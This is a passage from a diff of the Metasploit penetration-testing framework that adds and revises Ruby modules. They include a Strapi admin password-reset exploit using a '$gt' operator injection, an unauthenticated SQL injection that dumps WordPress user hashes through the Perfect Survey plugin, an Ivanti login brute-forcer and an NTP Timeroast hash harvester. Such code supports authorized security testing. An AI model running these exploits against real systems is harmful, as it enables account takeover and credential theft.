[IOC_IN_LOGS] + } + ) + ) + + register_options [ + OptString.new('NEW_PASSWORD', [true, 'New Admin password']), + OptString.new('TARGETURI', [true, 'The base path to strapi', '/']) + ] + end + + # not used, but figured id include it anyways + def check + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'admin', 'init') + }) + return Exploit::CheckCode::Unknown('Unable to determine due to a HTTP connection timeout') if res.nil? + + begin + version = JSON.parse(res.body) + rescue JSON::ParserError + return Exploit::CheckCode::Safe("Unable to parse json data: #{res.body}") + end + + # Untested if it works with versions lower than 3.0.0-beta.17.4. + # builds of 3.0.0-beta.17.3 and lower fail: + # npm ERR! gyp: Undefined variable standalone_static_library in binding.gyp while trying to load binding.gyp + # however vulners shows 3.0.0 and up to 3.0.0-beta.17.4 are vulnerable + version = Rex::Version.new(version.dig('data', 'strapiVersion')) + if version.start_with?('3.0.0-beta') && (Rex::Version.new(version.split('-beta.')[1]) <= Rex::Version.new('17.4')) + return Exploit::CheckCode::Vulnerable("Vulnerable version detected: #{version.dig('data', 'strapiVersion')}") + end + + Exploit::CheckCode::Safe + end + + def run + json_post_data = JSON.generate({ + 'code' => { '$gt' => 0 }, + 'password' => datastore['NEW_PASSWORD'], + 'passwordConfirmation' => datastore['NEW_PASSWORD'] + }) + + print_status('Resetting admin password...') + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'admin', 'auth', 'reset-password'), + 'ctype' => 'application/json', + 'data' => json_post_data + }) + + if res.nil? + print_error('Unable to determine due to a HTTP connection timeout') + return + end + + begin + json_resp = JSON.parse(res.body) + rescue JSON::ParserError + print_error("Unable to parse json data: #{res.body}") + return + end + + unless res.code == 200 + print_error('Could not change admin user password, unexpected response code') + return + end + + print_good('Password changed successfully!') + print_good("User: #{json_resp['user']['username']}") + print_good("Email: #{json_resp['user']['email']}") + print_good("PASSWORD: #{datastore['NEW_PASSWORD']}") + credential_data = { + origin_type: :service, + module_fullname: fullname, + workspace_id: myworkspace_id, + service_name: 'strapi cms', + address: rhost, + port: rport, + private_type: :password, + private_data: datastore['NEW_PASSWORD'], + username: json_resp['user']['username'] + } + create_credential(credential_data) + end + +end diff --git a/modules/auxiliary/scanner/http/wp_fastest_cache_sqli.rb b/modules/auxiliary/scanner/http/wp_fastest_cache_sqli.rb index b51f356c5940..d76f148f4de2 100644 --- a/modules/auxiliary/scanner/http/wp_fastest_cache_sqli.rb +++ b/modules/auxiliary/scanner/http/wp_fastest_cache_sqli.rb @@ -48,6 +48,8 @@ def initialize(info = {}) end def run_host(_ip) + # next line included for automatic inclusion into vulnerable plugins list + # check_plugin_version_from_readme('wp-fastest-cache', '1.2.3') print_status("Performing SQL injection via the 'wordpress_logged_in' cookie...") random_number = Rex::Text.rand_text_numeric(4..8) diff --git a/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb b/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb new file mode 100644 index 000000000000..aab67f71d00d --- /dev/null +++ b/modules/auxiliary/scanner/http/wp_perfect_survey_sqli.rb @@ -0,0 +1,128 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::SQLi + prepend Msf::Exploit::Remote::AutoCheck + + GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'WordPress Plugin Perfect Survey 1.5.1 SQLi (Unauthenticated)', + 'Description' => %q{ + This module exploits a SQL injection vulnerability in the Perfect Survey + plugin for WordPress (version 1.5.1). An unauthenticated attacker can + exploit the SQLi to retrieve sensitive information such as usernames, + emails, and password hashes from the `wp_users` table. + }, + 'Author' => [ + 'Aaryan Golatkar', # Metasploit Module Creator + 'Ron Jost' # Vulnerability discovery + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['EDB', '50766'], + ['CVE', '2021-24762'] + ], + 'DisclosureDate' => '2021-10-05', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'Base path to the WordPress installation', '/']), + Opt::RPORT(80) # Default port for HTTP + ]) + end + + # Define SQLi object + def get_sqli_object + create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload| + endpoint = normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php') + sqli_payload = "1 union select 1,1,char(116,101,120,116),(#{payload}),0,0,0,null,null,null,null,null,null,null,null,null from wp_users" + params = { + 'action' => 'get_question', + 'question_id' => sqli_payload + } + + # Send HTTP GET request + res = send_request_cgi({ + 'uri' => endpoint, + 'method' => 'GET', + 'vars_get' => params + }) + + # Validate response + return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res + return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res.code == 200 + + html_content = res.get_json_document['html'] + fail_with(Failure::Unknown, 'HTML content is empty') unless html_content + + # Extract data from response + match_data = /survey_question_p">([^<]+)/.match(html_content) + return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless match_data + + extracted_data = match_data.captures[0] + return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless extracted_data + + extracted_data + end + end + + # Check method + def check + @sqli = get_sqli_object + return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG + return Exploit::CheckCode::Vulnerable if @sqli.test_vulnerable + + Exploit::CheckCode::Safe + end + + # Run method + def run + # next line included for automatic inclusion into vulnerable plugins list + # check_plugin_version_from_readme('perfect-survey', '1.5.2') + print_status('Exploiting SQLi in Perfect Survey plugin...') + @sqli ||= get_sqli_object + fail_with(Failure::UnexpectedReply, GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG + + creds_table = Rex::Text::Table.new( + 'Header' => 'WordPress User Credentials', + 'Indent' => 1, + 'Columns' => ['Username', 'Email', 'Hash'] + ) + + print_status("Extracting credential information\n") + users = @sqli.dump_table_fields('wp_users', %w[user_login user_email user_pass]) + users.each do |(username, email, hash)| + creds_table << [username, email, hash] + create_credential({ + workspace_id: myworkspace_id, + origin_type: :service, + module_fullname: fullname, + username: username, + private_type: :nonreplayable_hash, + jtr_format: Metasploit::Framework::Hashes.identify_hash(hash), + private_data: hash, + service_name: 'WordPress Perfect Survey Plugin', + address: datastore['RHOSTS'], + port: datastore['RPORT'], + protocol: 'tcp', + status: Metasploit::Model::Login::Status::UNTRIED, + email: email + }) + end + print_line creds_table.to_s + end +end diff --git a/modules/auxiliary/scanner/http/wp_ultimate_member_sorting_sqli.rb b/modules/auxiliary/scanner/http/wp_ultimate_member_sorting_sqli.rb index 21dfa7f18e92..4e59b396eaed 100644 --- a/modules/auxiliary/scanner/http/wp_ultimate_member_sorting_sqli.rb +++ b/modules/auxiliary/scanner/http/wp_ultimate_member_sorting_sqli.rb @@ -111,6 +111,8 @@ def get_directory_id(nonce) end def run_host(_ip) + # next line included for automatic inclusion into vulnerable plugins list + # check_plugin_version_from_readme('ultimate-member', '2.8.3') print_status("Performing SQL injection for CVE-2024-1071 via the 'sorting' parameter...") nonce = get_nonce diff --git a/modules/auxiliary/scanner/ivanti/login_scanner.rb b/modules/auxiliary/scanner/ivanti/login_scanner.rb new file mode 100644 index 000000000000..8b9c786e3acb --- /dev/null +++ b/modules/auxiliary/scanner/ivanti/login_scanner.rb @@ -0,0 +1,88 @@ +require 'metasploit/framework/credential_collection' +require 'metasploit/framework/login_scanner/ivanti_login' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::ReportSummary + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ivanti Connect Secure HTTP Scanner', + 'Description' => %q{ + This module will perform authentication scanning against Ivanti Connect Secure + }, + 'Author' => ['msutovsky-r7'], + 'License' => MSF_LICENSE, + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS] + } + ) + ) + register_options([ + OptBool.new('ADMIN', [true, 'Select whether to test admin account', false]) + ]) + end + + def get_scanner(ip) + cred_collection = Metasploit::Framework::CredentialCollection.new( + blank_passwords: datastore['BLANK_PASSWORDS'], + pass_file: datastore['PASS_FILE'], + password: datastore['PASSWORD'], + user_file: datastore['USER_FILE'], + userpass_file: datastore['USERPASS_FILE'], + username: datastore['USERNAME'], + user_as_pass: datastore['USER_AS_PASS'] + ) + configuration = configure_http_login_scanner( + host: ip, + port: datastore['RPORT'], + cred_details: cred_collection, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + connection_timeout: datastore['HttpClientTimeout'] || 5 + ) + return Metasploit::Framework::LoginScanner::Ivanti.new(configuration, datastore['ADMIN']) + end + + def process_credential(credential_data) + credential_combo = "#{credential_data[:username]}:#{credential_data[:private_data]}" + case credential_data[:status] + when Metasploit::Model::Login::Status::SUCCESSFUL + print_good "#{credential_data[:address]}:#{credential_data[:port]} - Login Successful: #{credential_combo}" + credential_data[:core] = create_credential(credential_data) + create_credential_login(credential_data) + return { status: :success, credential: credential_data } + else + error_msg = "#{credential_data[:address]}:#{credential_data[:port]} - LOGIN FAILED: #{credential_combo} (#{credential_data[:status]})" + vprint_error error_msg + invalidate_login(credential_data) + return { status: :fail, credential: credential_data } + end + end + + def run_scanner(scanner) + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!(module_fullname: fullname, workspace_id: myworkspace_id) + process_credential(credential_data) + end + end + + def run_host(ip) + scanner = get_scanner(ip) + run_scanner(scanner) + end + +end diff --git a/modules/auxiliary/scanner/ldap/ldap_login.rb b/modules/auxiliary/scanner/ldap/ldap_login.rb index 7c5efbabf439..47c6dac14db9 100644 --- a/modules/auxiliary/scanner/ldap/ldap_login.rb +++ b/modules/auxiliary/scanner/ldap/ldap_login.rb @@ -89,12 +89,19 @@ def validate_connect_options! end def run_host(ip) + ignore_public = datastore['LDAP::Auth'] == Msf::Exploit::Remote::AuthOption::SCHANNEL + ignore_private = + datastore['LDAP::Auth'] == Msf::Exploit::Remote::AuthOption::SCHANNEL || + (Msf::Exploit::Remote::AuthOption::KERBEROS && !datastore['ANONYMOUS_LOGIN'] && !datastore['PASSWORD']) + cred_collection = build_credential_collection( username: datastore['USERNAME'], password: datastore['PASSWORD'], realm: datastore['DOMAIN'], anonymous_login: datastore['ANONYMOUS_LOGIN'], - blank_passwords: false + blank_passwords: false, + ignore_public: ignore_public, + ignore_private: ignore_private ) opts = { @@ -107,14 +114,20 @@ def run_host(ip) ldap_cert_file: datastore['LDAP::CertFile'], ldap_rhostname: datastore['Ldap::Rhostname'], ldap_krb_offered_enc_types: datastore['Ldap::KrbOfferedEncryptionTypes'], - ldap_krb5_cname: datastore['Ldap::Krb5Ccname'], - # Write only cache so we keep all gathered tickets but don't reuse them for auth while running the module - kerberos_ticket_storage: kerberos_ticket_storage({ read: false, write: true }) + ldap_krb5_cname: datastore['Ldap::Krb5Ccname'] } realm_key = nil if opts[:ldap_auth] == Msf::Exploit::Remote::AuthOption::KERBEROS realm_key = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + if !datastore['ANONYMOUS_LOGIN'] && !datastore['PASSWORD'] + # In case no password has been provided, we assume the user wants to use Kerberos tickets stored in cache + # Write mode is still enable in case new TGS tickets are retrieved. + opts[:kerberos_ticket_storage] = kerberos_ticket_storage({ read: true, write: true }) + else + # Write only cache so we keep all gathered tickets but don't reuse them for auth while running the module + opts[:kerberos_ticket_storage] = kerberos_ticket_storage({ read: false, write: true }) + end end scanner = Metasploit::Framework::LoginScanner::LDAP.new( diff --git a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb index ea1d8a016d72..dfd6579ae88c 100644 --- a/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb +++ b/modules/auxiliary/scanner/ntp/ntp_nak_to_the_future.rb @@ -7,7 +7,9 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::Udp - include Msf::Auxiliary::NTP + + SYMMETRIC_ACTIVE_MODE = Rex::Proto::NTP::Constants::Mode::SYMMETRIC_ACTIVE + SYMMETRIC_PASSIVE_MODE = Rex::Proto::NTP::Constants::Mode::SYMMETRIC_PASSIVE def initialize(info = {}) super( @@ -39,26 +41,16 @@ def initialize(info = {}) ] ) ) - - register_options( - [ - OptInt.new('OFFSET', [true, "Offset from local time, in seconds", 300]) - ]) end def build_crypto_nak(time) - probe = Rex::Proto::NTP::NTPSymmetric.new + probe = Rex::Proto::NTP::Header::NTPHeader.new + probe.version_number = 3 probe.stratum = 1 probe.poll = 10 - probe.mode = 1 + probe.mode = SYMMETRIC_ACTIVE_MODE unless time - now = Time.now - # compute the timestamp. NTP stores a timestamp as 64-bit unsigned - # integer, the high 32-bits representing the number of seconds since era - # epoch and the low 32-bits representing the fraction of a second. The era - # epoch in this case is Jan 1 1900, so we must add the number of seconds - # between then and the ruby era epoch, Jan 1 1970, which is 2208988800 - time = ((now.to_i + 2208988800 + datastore['OFFSET']) << 32) + now.nsec + time = Time.now end # TODO: use different values for each? @@ -67,7 +59,7 @@ def build_crypto_nak(time) probe.receive_timestamp = time probe.transmit_timestamp = time # key-id 0 - probe.payload = "\x00\x00\x00\x00" + probe.key_identifier = 0 probe end @@ -75,16 +67,16 @@ def check connect_udp # pick a random 64-bit timestamp - canary_timestamp = rand((2**32)..((2**64) - 1)) + canary_timestamp = Time.now.utc - (60 * 5) probe = build_crypto_nak(canary_timestamp) - udp_sock.put(probe) + udp_sock.put(probe.to_binary_s) - expected_length = probe.to_binary_s.length - probe.payload.length + expected_length = probe.offset_of(probe.key_identifier) response = udp_sock.timed_read(expected_length) disconnect_udp if response.length == expected_length - ntp_symmetric = Rex::Proto::NTP::NTPSymmetric.new.read(response) - if ntp_symmetric.mode == 2 && ntp_symmetric.origin_timestamp == canary_timestamp + ntp_symmetric = Rex::Proto::NTP::Header::NTPHeader.read(response) + if ntp_symmetric.mode == SYMMETRIC_PASSIVE_MODE && ntp_symmetric.origin_timestamp == nil vprint_good("#{rhost}:#{rport} - NTP - VULNERABLE: Accepted a NTP symmetric active association") report_vuln( host: rhost, diff --git a/modules/auxiliary/scanner/ntp/timeroast.rb b/modules/auxiliary/scanner/ntp/timeroast.rb new file mode 100644 index 000000000000..7e39a6cf873f --- /dev/null +++ b/modules/auxiliary/scanner/ntp/timeroast.rb @@ -0,0 +1,152 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::Udp + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'NTP Timeroast', + 'Description' => %q{ + Windows authenticates NTP requests by calculating the message digest using the NT hash followed by the first + 48 bytes of the NTP message (all fields preceding the key ID). An attacker can abuse this to recover hashes + that can be cracked offline for machine and trust accounts. The attacker must know the accounts RID, but + because RIDs are sequential, they can easily be enumerated. + }, + 'Author' => [ + 'Tom Tervoort', + 'Spencer McIntyre' + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['URL', 'https://github.com/SecuraBV/Timeroast/'], + ['URL', 'https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf'] + ], + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + } + ) + ) + register_options([ + Opt::RPORT(123), + OptIntRange.new('RIDS', [ true, 'The RIDs to enumerate (e.g. 1000-2000).' ]), + OptInt.new('DELAY', [ true, 'The delay in milliseconds between attempts.', 20]), + OptInt.new('TIMEOUT', [ true, 'The timeout in seconds to wait at the end for replies.', 5]) + ]) + end + + def validate + super + + errors = {} + errors['DELAY'] = 'DELAY can not be negative.' if datastore['DELAY'].to_i < 0 + errors['TIMEOUT'] = 'TIMEOUT can not be negative.' if datastore['TIMEOUT'].to_i < 0 + raise ::Msf::OptionValidateError, errors unless errors.empty? + end + + def build_ntp_probe(rid) + probe = Rex::Proto::NTP::Header::NTPHeader.new + probe.leap_indicator = 3 + probe.version_number = 3 + probe.mode = Rex::Proto::NTP::Mode::CLIENT + probe.key_identifier = [rid].pack('L>').unpack1('L<') # NTP uses big endian but MS uses little endian for this one field + probe.message_digest = Random.random_bytes(OpenSSL::Digest.new('MD5').digest_length).unpack('C*') + probe + end + + def recv_response(timeout: 0) + begin + raw, = udp_sock.recvfrom(68, timeout) # 68 is always the number of bytes expected + rescue ::Rex::SocketError, ::IOError + return nil + end + + return nil if raw.empty? + + Rex::Proto::NTP::Header::NTPHeader.read(raw) + end + + def run_host(_ip) + connect_udp + + delay = datastore['DELAY'].to_i + pending = 0 + + Msf::OptIntRange.parse(datastore['RIDS']).each do |rid| + vprint_status("Checking RID: #{rid}") + probe = build_ntp_probe(rid) + udp_sock.put(probe.to_binary_s) + pending += 1 + + sleep(delay / 1000.0) + + response = recv_response + next unless response + + process_response(response) + pending -= 1 + end + + return if pending == 0 + + print_status("Waiting on #{pending} pending responses...") + remaining = 10 + while remaining > 0 && pending > 0 + response, elapsed_time = Rex::Stopwatch.elapsed_time do + recv_response(timeout: remaining) + end + remaining -= elapsed_time + next unless response + + process_response(response) + pending -= 1 + end + ensure + disconnect_udp + end + + def process_response(response) + resp_rid = [response.key_identifier].pack('L<').unpack1('L>') + message_digest = response.message_digest.pack('C*') + salt = response.to_binary_s[0...response.offset_of(response.key_identifier)] + hash = "$sntp-ms$#{message_digest.unpack1('H*')}$#{salt.unpack1('H*')}" + + print_good("Hash for RID: #{resp_rid} - #{resp_rid}:#{hash}") + report_hash(hash) + end + + def report_hash(hash) + jtr_format = Metasploit::Framework::Hashes.identify_hash(hash) + service_data = { + address: rhost, + port: rport, + service_name: 'ntp', + protocol: 'udp', + workspace_id: myworkspace_id + } + credential_data = { + module_fullname: fullname, + origin_type: :service, + private_data: hash, + private_type: :nonreplayable_hash, + jtr_format: jtr_format + }.merge(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end +end diff --git a/modules/auxiliary/scanner/smb/pipe_auditor.rb b/modules/auxiliary/scanner/smb/pipe_auditor.rb index 1cdaa24b98d7..a6ae62d82a7f 100644 --- a/modules/auxiliary/scanner/smb/pipe_auditor.rb +++ b/modules/auxiliary/scanner/smb/pipe_auditor.rb @@ -40,9 +40,8 @@ def run_host(ip) if session print_status("Using existing session #{session.sid}") - client = session.client @rport = datastore['RPORT'] = session.port - self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client) + self.simple = session.simple_client self.simple.connect("\\\\#{session.address}\\IPC$") report_pipes(ip, check_pipes) else diff --git a/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb b/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb index 092b522daae5..59af5c2c168f 100644 --- a/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb +++ b/modules/auxiliary/scanner/smb/pipe_dcerpc_auditor.rb @@ -260,9 +260,8 @@ def connect(*args, **kwargs) def run_host(ip) if session print_status("Using existing session #{session.sid}") - client = session.client @rport = datastore['RPORT'] = session.port - self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client) + self.simple = session.simple_client simple.connect("\\\\#{simple.address}\\IPC$") # smb_login connects to this share for some reason and it doesn't work unless we do too check_uuids(ip) else diff --git a/modules/auxiliary/scanner/smb/smb_enum_gpp.rb b/modules/auxiliary/scanner/smb/smb_enum_gpp.rb index 920db641e097..57411e837502 100644 --- a/modules/auxiliary/scanner/smb/smb_enum_gpp.rb +++ b/modules/auxiliary/scanner/smb/smb_enum_gpp.rb @@ -167,8 +167,8 @@ def run_host(ip) begin if session print_status("Using existing session #{session.sid}") - client = session.client - self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client) + self.simple = session.simple_client + session.verify_connectivity else connect smb_login diff --git a/modules/auxiliary/scanner/smb/smb_enumshares.rb b/modules/auxiliary/scanner/smb/smb_enumshares.rb index 27f819275843..1dd5b4fa74b4 100644 --- a/modules/auxiliary/scanner/smb/smb_enumshares.rb +++ b/modules/auxiliary/scanner/smb/smb_enumshares.rb @@ -289,8 +289,8 @@ def get_files_info(ip, shares) def run_host(ip) if session print_status("Using existing session #{session.sid}") - client = session.client - self.simple = ::Rex::Proto::SMB::SimpleClient.new(client.dispatcher.tcp_socket, client: client) + session.verify_connectivity + self.simple = session.simple_client enum_shares(session.address) else [{ port: SMB1_PORT }, { port: SMB2_3_PORT } ].each do |info| diff --git a/modules/auxiliary/scanner/smb/smb_login.rb b/modules/auxiliary/scanner/smb/smb_login.rb index 0519b29657f9..621557d0b850 100644 --- a/modules/auxiliary/scanner/smb/smb_login.rb +++ b/modules/auxiliary/scanner/smb/smb_login.rb @@ -116,6 +116,15 @@ def run_host(ip) fail_with(Msf::Exploit::Failure::BadConfig, 'The SMBDomain option is required when using Kerberos authentication.') if datastore['SMBDomain'].blank? fail_with(Msf::Exploit::Failure::BadConfig, 'The DomainControllerRhost is required when using Kerberos authentication.') if datastore['DomainControllerRhost'].blank? + if !datastore['PASSWORD'] + # In case no password has been provided, we assume the user wants to use Kerberos tickets stored in cache + # Write mode is still enable in case new TGS tickets are retrieved. + ticket_storage = kerberos_ticket_storage({ read: true, write: true }) + else + # Write only cache so we keep all gathered tickets but don't reuse them for auth while running the module + ticket_storage = kerberos_ticket_storage({ read: false, write: true }) + end + kerberos_authenticator_factory = lambda do |username, password, realm| Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::SMB.new( host: datastore['DomainControllerRhost'], @@ -127,8 +136,7 @@ def run_host(ip) framework: framework, framework_module: self, cache_file: datastore['Smb::Krb5Ccname'].blank? ? nil : datastore['Smb::Krb5Ccname'], - # Write only cache so we keep all gathered tickets but don't reuse them for auth while running the module - ticket_storage: kerberos_ticket_storage({ read: false, write: true }) + ticket_storage: ticket_storage ) end end @@ -170,7 +178,8 @@ def run_host(ip) cred_collection = build_credential_collection( realm: domain, username: datastore['SMBUser'], - password: datastore['SMBPass'] + password: datastore['SMBPass'], + ignore_private: datastore['SMB::Auth'] == Msf::Exploit::Remote::AuthOption::KERBEROS && !datastore['PASSWORD'] ) cred_collection = prepend_db_hashes(cred_collection) @@ -256,6 +265,9 @@ def accepts_bogus_domains?(user, pass) end def report_creds(ip, port, result) + # Private can be nil if we authenticated with Kerberos and a cached ticket was used. No need to report this. + return unless result.credential.private + if !datastore['RECORD_GUEST'] && (result.access_level == Metasploit::Framework::LoginScanner::SMB::AccessLevels::GUEST) return end diff --git a/modules/auxiliary/scanner/smb/smb_version.rb b/modules/auxiliary/scanner/smb/smb_version.rb index 2def6e697293..5edfe4e1df9e 100644 --- a/modules/auxiliary/scanner/smb/smb_version.rb +++ b/modules/auxiliary/scanner/smb/smb_version.rb @@ -129,8 +129,10 @@ def smb_proto_info simple.client.authenticate rescue RubySMB::Error::RubySMBError info[:auth_domain] = nil + info[:os_version] = nil else info[:auth_domain] = simple.client.default_domain + info[:os_version] = simple.client.os_version end end else @@ -145,7 +147,38 @@ def smb_proto_info info end - def smb_os_description(res, nd_smb_fingerprint) + def smb_description(info) + desc = "SMB Detected (versions:#{info[:versions].join(', ')}) (preferred dialect:#{info[:preferred_dialect]})" + info[:capabilities].each do |name, values| + desc << " (#{name} capabilities:#{values.join(', ')})" + end + + if info[:signing_required] + desc << ' (signatures:required)' + else + desc << ' (signatures:optional)' + end + desc << " (uptime:#{info[:uptime]})" if info[:uptime] + desc << " (guid:#{Rex::Text.to_guid(info[:server_guid])})" if info[:server_guid] + desc << " (authentication domain:#{info[:auth_domain]})" if info[:auth_domain] + + desc + end + + def convert_version_to_os_name(version) + rex_version = Rex::Version.new(version) + segments = rex_version.segments + if segments.length == 3 + windows_match = Msf::WindowsVersion::from_ntlm_os_version(segments[0], segments[1], segments[2]) + unless windows_match.nil? + return "Version #{version} (likely #{windows_match})" + end + end + + "Version #{version} (unknown OS)" + end + + def smb_os_description(res, info, nd_smb_fingerprint) # # Create the note hash for fingerprint.match # @@ -154,39 +187,41 @@ def smb_os_description(res, nd_smb_fingerprint) # # Create a descriptive string for service.info # - desc = res['os'].dup + words = [] + + if res['os'] == 'Unknown' && info[:os_version] + words << convert_version_to_os_name(info[:os_version]) + else + words << res['os'] + end if !res['edition'].to_s.empty? - desc << " #{res['edition']}" + words << " #{res['edition']}" nd_smb_fingerprint[:os_edition] = res['edition'] nd_fingerprint_match['os.edition'] = res['edition'] end if !res['sp'].to_s.empty? - desc << " #{res['sp'].downcase.gsub('service pack ', 'SP')}" + words << " #{res['sp'].downcase.gsub('service pack ', 'SP')}" nd_smb_fingerprint[:os_sp] = res['sp'] nd_fingerprint_match['os.version'] = res['sp'] end if !res['build'].to_s.empty? - desc << " (build:#{res['build']})" + words << " (build:#{res['build']})" nd_smb_fingerprint[:os_build] = res['build'] nd_fingerprint_match['os.build'] = res['build'] end if !res['lang'].to_s.empty? && res['lang'] != 'Unknown' - desc << " (language:#{res['lang']})" + words << " (language:#{res['lang']})" nd_smb_fingerprint[:os_lang] = res['lang'] nd_fingerprint_match['os.language'] = nd_smb_fingerprint[:os_lang] end - if simple.client.default_name - desc << " (name:#{simple.client.default_name})" - nd_smb_fingerprint[:SMBName] = simple.client.default_name - nd_fingerprint_match['host.name'] = nd_smb_fingerprint[:SMBName] - end + os_name = words.join(' ') - { text: desc, fingerprint_match: nd_fingerprint_match, smb_fingerprint: nd_smb_fingerprint } + { os_name: os_name, fingerprint_match: nd_fingerprint_match, smb_fingerprint: nd_smb_fingerprint } end # @@ -211,70 +246,70 @@ def run_host(ip) self.simple = nil begin - res = smb_fingerprint + smb1_fingerprint = smb_fingerprint info = smb_proto_info - desc = "SMB Detected (versions:#{info[:versions].join(', ')}) (preferred dialect:#{info[:preferred_dialect]})" - info[:capabilities].each do |name, values| - desc << " (#{name} capabilities:#{values.join(', ')})" - end - - if info[:signing_required] - desc << ' (signatures:required)' - else - desc << ' (signatures:optional)' - report_vuln({ - host: ip, - port: rport, - proto: 'tcp', - name: 'SMB Signing Is Not Required', - refs: [ - SiteReference.new('URL', 'https://support.microsoft.com/en-us/help/161372/how-to-enable-smb-signing-in-windows-nt'), - SiteReference.new('URL', 'https://support.microsoft.com/en-us/help/887429/overview-of-server-message-block-signing'), - ] - }) - end - desc << " (uptime:#{info[:uptime]})" if info[:uptime] - desc << " (guid:#{Rex::Text.to_guid(info[:server_guid])})" if info[:server_guid] - desc << " (authentication domain:#{info[:auth_domain]})" if info[:auth_domain] - lines << { type: :status, message: desc } # # Create the note hash for smb.fingerprint # nd_smb_fingerprint = { - native_os: res['native_os'], - native_lm: res['native_lm'] + native_os: smb1_fingerprint['native_os'], + native_lm: smb1_fingerprint['native_lm'] } - if res['os'] && res['os'] != 'Unknown' - description = smb_os_description(res, nd_smb_fingerprint) - desc << description[:text] - nd_fingerprint_match = description[:fingerprint_match] - nd_smb_fingerprint = description[:smb_fingerprint] - - if simple.client.default_domain - if simple.client.default_domain.encoding.name == 'UTF-8' - desc << " (domain:#{simple.client.default_domain})" - else - # Workgroup names are in ANSI, but may contain invalid characters - # Go through each char and convert/check - temp_workgroup = simple.client.default_domain.dup - desc << ' (workgroup:' - temp_workgroup.each_char do |i| - begin - desc << i.encode('UTF-8') - rescue ::Encoding::UndefinedConversionError # rubocop:disable Metrics/BlockNesting - desc << '?' - end + description = smb_os_description(smb1_fingerprint, info, nd_smb_fingerprint) + nd_fingerprint_match = description[:fingerprint_match] + nd_smb_fingerprint = description[:smb_fingerprint] + + info[:os_name] = description[:os_name] + + if simple.client.default_domain + if simple.client.default_domain.encoding.name == 'UTF-8' + info[:domain] = simple.client.default_domain + else + # Workgroup names are in ANSI, but may contain invalid characters + # Go through each char and convert/check + temp_workgroup = simple.client.default_domain.dup + workgroup = "" + temp_workgroup.each_char do |i| + begin + workgroup << i.encode('UTF-8') + rescue ::Encoding::UndefinedConversionError # rubocop:disable Metrics/BlockNesting + workgroup << '?' end - desc << ')' end - nd_smb_fingerprint[:SMBDomain] = simple.client.default_domain - nd_fingerprint_match['host.domain'] = nd_smb_fingerprint[:SMBDomain] + info[:workgroup] = workgroup end + nd_smb_fingerprint[:SMBDomain] = simple.client.default_domain + nd_fingerprint_match['host.domain'] = nd_smb_fingerprint[:SMBDomain] + end - lines << { type: :good, message: " Host is running #{desc}" } + if simple.client.default_name + nd_smb_fingerprint[:SMBName] = simple.client.default_name + nd_fingerprint_match['host.name'] = nd_smb_fingerprint[:SMBName] + info[:computer_name] = simple.client.default_name + end + + if info[:os_name] && info[:os_name] != 'Unknown' + smb_desc = smb_description(info) + os_desc = "Host is running #{info[:os_name]}" + + lines << { type: :status, message: smb_desc } + lines << { type: :good, message: " #{os_desc}" } + + unless info[:signing_required] + report_vuln({ + host: ip, + port: rport, + proto: 'tcp', + name: 'SMB Signing Is Not Required', + refs: [ + SiteReference.new('URL', 